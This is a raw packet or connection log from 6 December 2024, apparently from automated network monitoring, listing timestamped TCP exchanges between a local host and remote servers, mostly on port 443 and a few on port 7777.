Dec 6, 2024 15:54:15.502513885 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.502856016 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.502876997 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.503231049 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.503236055 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.903091908 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.903167009 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.903264046 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.903474092 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.903498888 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.903517962 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.903526068 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.906678915 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.906728029 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.906867981 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.907017946 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.907032013 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.939763069 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.939805984 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.939871073 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.939892054 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.939932108 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.940216064 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.940247059 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.940265894 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.940274000 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.941045046 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.941121101 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.941366911 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.941509962 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.941534042 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.941551924 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.941557884 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.943866968 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.943886995 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.943922997 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.943923950 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.944022894 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.944027901 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.944170952 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.944185972 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.944186926 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.944201946 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.148152113 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.148634911 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.148669958 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.149117947 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.149130106 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.152709961 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.153211117 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.153243065 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.153671026 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.153676987 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.582875013 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.585926056 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.586133003 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.586133003 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.586133003 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.589160919 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.589230061 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.589327097 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.589457989 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.589473963 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.609365940 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.612942934 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.613002062 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.612998009 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.613068104 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.613116026 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.613132954 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.613159895 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.613167048 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.616357088 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.616400003 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.616583109 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.616749048 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.616765022 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.631706953 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.632213116 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.632265091 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.632693052 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.632705927 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.674092054 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.674688101 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.674734116 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.675156116 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.675173998 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.677397013 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.677720070 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.677756071 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.678086996 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.678097963 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:17.893532038 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:17.893577099 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.128150940 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.128186941 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.128243923 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.128303051 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.128346920 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.128549099 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.128575087 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.128592014 CET	49972	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.128597021 CET	443	49972	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.131381989 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.131403923 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.131485939 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.131628990 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.131640911 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.138350010 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.138881922 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.138952971 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.139027119 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.139166117 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.139183044 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.139197111 CET	49973	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.139203072 CET	443	49973	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.140878916 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.141341925 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.141360998 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.141381979 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.141383886 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.141391039 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.141401052 CET	49974	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.141406059 CET	443	49974	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.141452074 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.141594887 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.141606092 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.143186092 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.143198967 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:18.146595001 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.146717072 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:18.146728039 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.003930092 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:19.123698950 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:19.559633017 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:19.561258078 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:19.576606035 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.577054977 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:19.577095985 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.577523947 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:19.577531099 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.621714115 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.622219086 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:19.622231960 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.622643948 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:19.622652054 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.684478045 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:19.875639915 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.876152992 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:19.876164913 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:19.876626015 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:19.876631975 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.089500904 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.092464924 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.092479944 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.092952013 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.092958927 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.153429985 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.153964043 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.153981924 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.154319048 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.154325962 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.158987999 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.159085035 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.159192085 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.159557104 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.159557104 CET	49975	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.159579992 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.159590006 CET	443	49975	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.168055058 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.168112993 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.168170929 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.168323994 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.168339968 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.199441910 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.202318907 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.202358007 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.202367067 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.202423096 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.202472925 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.202472925 CET	49976	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.202486992 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.202497959 CET	443	49976	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.204902887 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.204937935 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.205023050 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.205182076 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.205193043 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.391968966 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.392044067 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.403322935 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.408756018 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.409677982 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.409677982 CET	49978	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.409694910 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.409706116 CET	443	49978	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.412683964 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.412727118 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.414876938 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.415076017 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.415086985 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.601490974 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.601653099 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.601809025 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.601847887 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.601865053 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.601878881 CET	49977	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.601886988 CET	443	49977	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.604703903 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.604737997 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.604820967 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.604994059 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.605006933 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.609308958 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.609333038 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.609390974 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.609409094 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.609550953 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.609550953 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.609561920 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.609719038 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.609754086 CET	443	49979	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.610450029 CET	49979	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.611478090 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.611490011 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:20.611560106 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.611694098 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:20.611706972 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:21.907532930 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:21.930921078 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:21.944417953 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:21.944458008 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:21.944828987 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:21.944834948 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:21.945028067 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:21.945059061 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:21.945354939 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:21.945359945 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.216487885 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.217020035 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.217048883 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.217473984 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.217480898 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.357335091 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.357418060 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.357600927 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.357645035 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.357645035 CET	49980	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.357666016 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.357676983 CET	443	49980	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.360770941 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.360799074 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.360902071 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.361052036 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.361063004 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.372631073 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.372662067 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.372911930 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.372927904 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.373075962 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.373090982 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.373100996 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.373226881 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.373285055 CET	443	49981	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.373619080 CET	49981	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.375228882 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.375258923 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.375334024 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.375458956 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.375475883 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.406460047 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.406881094 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.406905890 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.407459021 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.407469988 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.420869112 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.421247959 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.421264887 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.421660900 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.421665907 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.666162014 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.666189909 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.666249990 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.671298981 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.671602964 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.671618938 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.671631098 CET	49982	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.671637058 CET	443	49982	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.674470901 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.674493074 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.674570084 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.674747944 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.674761057 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.855268955 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.855293036 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.855349064 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.855365038 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.855566025 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.855581999 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.855591059 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.855741024 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.855773926 CET	443	49983	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.855887890 CET	49983	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.857990026 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.858021975 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.858104944 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.858254910 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.858269930 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.871309996 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.871351957 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.871491909 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.871505022 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.871612072 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.871623039 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.871632099 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.871803045 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.871843100 CET	443	49984	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.872250080 CET	49984	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.874021053 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.874067068 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:22.874234915 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.874294043 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:22.874305010 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.081589937 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.082963943 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.083007097 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.083441019 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.083446980 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.093511105 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.094878912 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.094894886 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.095335960 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.095340014 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.395718098 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.445884943 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.445904970 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.453864098 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.453876972 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.519826889 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.519897938 CET	443	49985	13.107.246.63	192.168.2.7
